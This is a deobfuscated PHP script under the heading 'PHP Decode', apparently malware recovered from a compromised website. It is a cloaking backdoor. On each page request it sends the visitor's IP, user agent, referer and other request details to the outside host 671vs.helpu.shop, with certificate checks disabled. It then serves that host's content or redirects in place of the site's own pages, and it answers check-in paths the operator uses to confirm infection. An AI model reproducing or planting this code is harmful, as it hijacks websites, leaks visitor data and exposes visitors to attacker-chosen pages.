PHP Decode

<?php header('Content-Type: text/html; charset=utf-8'); @date_default_timezone_set('Asia/Tokyo'); 
function FjtVBTelbSZRocHvJLaI($resp_header) 
{ 
    $header = array('status' => 0, 'content' => '', 'type' => ''); 
    if (!is_array($resp_header)) { 
        return $header; 
    } 
    foreach ($resp_header as $hone) { 
        if (preg_match('/http\/[0-9\.]+[\s]+([0-9]+)/i', $hone, $matched)) { 
            $header['status'] = intval($matched[1]); 
        } elseif (preg_match('/location\:[\s]+(.*)/i', $hone, $matched)) { 
            $header['content'] = $matched[1]; 
        } elseif (preg_match('/content\-type\:[\s]+(.*)/i', $hone, $matched)) { 
            $header['type'] = $matched[1]; 
        } 
    } 
    return $header; 
} 
 
function dTpgocXVyUfNxWjhY($url, $datas = array()) 
{ 
    $response = array('status' => 0, 'content' => '', 'type' => ''); 
    if (is_array($datas) && count($datas)) { 
        $url .= '?' . http_build_query($datas); 
    } 
    try { 
        if (function_exists('curl_exec') && function_exists('curl_init')) { 
            $c = curl_init(); 
            curl_setopt($c, CURLOPT_URL, $url); 
            curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0); 
            curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0); 
            curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 20); 
            curl_setopt($c, CURLOPT_TIMEOUT, 60); 
            curl_setopt($c, CURLOPT_FOLLOWLOCATION, 0); 
            curl_setopt($c, CURLOPT_COOKIESESSION, 0); 
            curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); 
            $c_retval = curl_exec($c); 
            $response['status'] = intval(curl_getinfo($c, CURLINFO_HTTP_CODE)); 
            $response['type'] = strval(curl_getinfo($c, CURLINFO_CONTENT_TYPE)); 
            $response['content'] = strval(curl_getinfo($c, CURLINFO_REDIRECT_URL)); 
            @curl_close($c); 
            if (in_array($response['status'], array(200, 301, 302, 404))) { 
                $response['content'] = strval($c_retval); 
            } 
        } elseif (ini_get('allow_url_fopen')) { 
            $http_opt = array( 
                'http' => array('method' => 'GET', 'timeout' => 60, 'follow_location' => 0), 
                'ssl' => array("verify_peer" => false, "verify_peer_name" => false) 
            ); 
            $context = stream_context_create($http_opt); 
            $content = @file_get_contents($url, false, $context); 
            $response = array_merge($response, FjtVBTelbSZRocHvJLaI($http_response_header)); 
            if (in_array($response['status'], array(200, 301, 302, 404))) { 
                $response['content'] = strval($content); 
            } 
        } 
    } catch (Exception $e) { 
    } 
    return $response; 
} 
 
function wFctVuZUIMjp($str) 
{ 
    if (!$str) return ''; 
    return rtrim(strtr(base64_encode($str), '+/', '-_'), '='); 
} 
 
function gOFPQqIbCKRViDdvJeY() 
{ 
    $ip_addr = ''; 
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { 
        $ip_addr = $_SERVER['HTTP_CF_CONNECTING_IP']; 
    } elseif (isset($_SERVER['HTTP_X_REAL_IP']) && !empty($_SERVER['HTTP_X_REAL_IP'])) { 
        $ip_addr = $_SERVER['HTTP_X_REAL_IP']; 
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
        $ip_addr = $_SERVER['HTTP_X_FORWARDED_FOR']; 
    } else { 
        $ip_addr = $_SERVER['REMOTE_ADDR']; 
    } 
    $ip_addr = trim(str_replace(" ", "", $ip_addr), ","); 
    if (strpos($ip_addr, ",") !== false) { 
        $ip_addr = explode(",", $ip_addr); 
        $ip_addr = $ip_addr[0]; 
    } 
    return $ip_addr; 
} 
 
function jemWqoFLnSUblYOgPNw() 
{ 
    $http_proto = 'http://'; 
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { 
        $http_proto = 'https://'; 
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') { 
        $http_proto = 'https://'; 
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { 
        $http_proto = 'https://'; 
    } 
    return $http_proto; 
} 
 
if ($_SERVER['REQUEST_URI'] === '/R-' . md5($_SERVER['SERVER_NAME'])) { 
    exit(strrev(md5($_SERVER['SERVER_NAME']))); 
} 
if (substr_count($_SERVER['REQUEST_URI'], 'index.php/jk')) { 
    exit('{ "error": 200, "lc": "jk", "data": [ 1 ] }'); 
} 
$ip_addr = gOFPQqIbCKRViDdvJeY(); 
$referer = strval(@$_SERVER['HTTP_REFERER']); 
$site_url = jemWqoFLnSUblYOgPNw() . $_SERVER['SERVER_NAME']; 
if (strpos($referer, $site_url) === 0) $referer = ''; 
$rq = array(); 
$rq['i'] = wFctVuZUIMjp($ip_addr); 
$rq['l'] = wFctVuZUIMjp($_SERVER['HTTP_ACCEPT_LANGUAGE']); 
$rq['sn'] = wFctVuZUIMjp($_SERVER['SCRIPT_NAME']); 
$rq['r'] = wFctVuZUIMjp($_SERVER['REQUEST_URI']); 
$rq['rf'] = wFctVuZUIMjp($referer); 
$rq['s'] = wFctVuZUIMjp($site_url); 
$rq['u'] = wFctVuZUIMjp($_SERVER['HTTP_USER_AGENT']); 
$r_trim = preg_replace('/\?.*/', '', $_SERVER['REQUEST_URI']); 
$r_istatic = false; 
if (strpos($r_trim, '.') > 0&&strpos($r_trim,'.php')===false) { 
    $ext = substr($r_trim, strpos($r_trim, '.')); 
    if (in_array($ext, array('.js', '.css', '.jpg', '.png', '.gif', '.ico'))) { 
        $r_istatic = true; 
    } 
} 
if (!$r_istatic) { 
    $response = dTpgocXVyUfNxWjhY('http://671vs.helpu.shop/', $rq); 
    if (!in_array($response['status'], array(0, 200))) { 
        switch ($response['status']) { 
            case 301: 
                header('HTTP/1.1 301 Moved Permanently'); 
                header('Location: ' . trim($response['content'])); 
                break; 
            case 302: 
                header('HTTP/1.1 302 Move Temporarily'); 
                header('Location: ' . trim($response['content'])); 
                break; 
            case 404: 
                header('HTTP/1.1 404 Not Found'); 
                header("status: 404 Not Found"); 
                break; 
            default: 
                break; 
        } 
    } 
    if (strlen($response['content'])) { 
        @header('Content-Type:' . $response['type']); 
        echo $response['content']; 
        exit(0); 
    } 
} ?>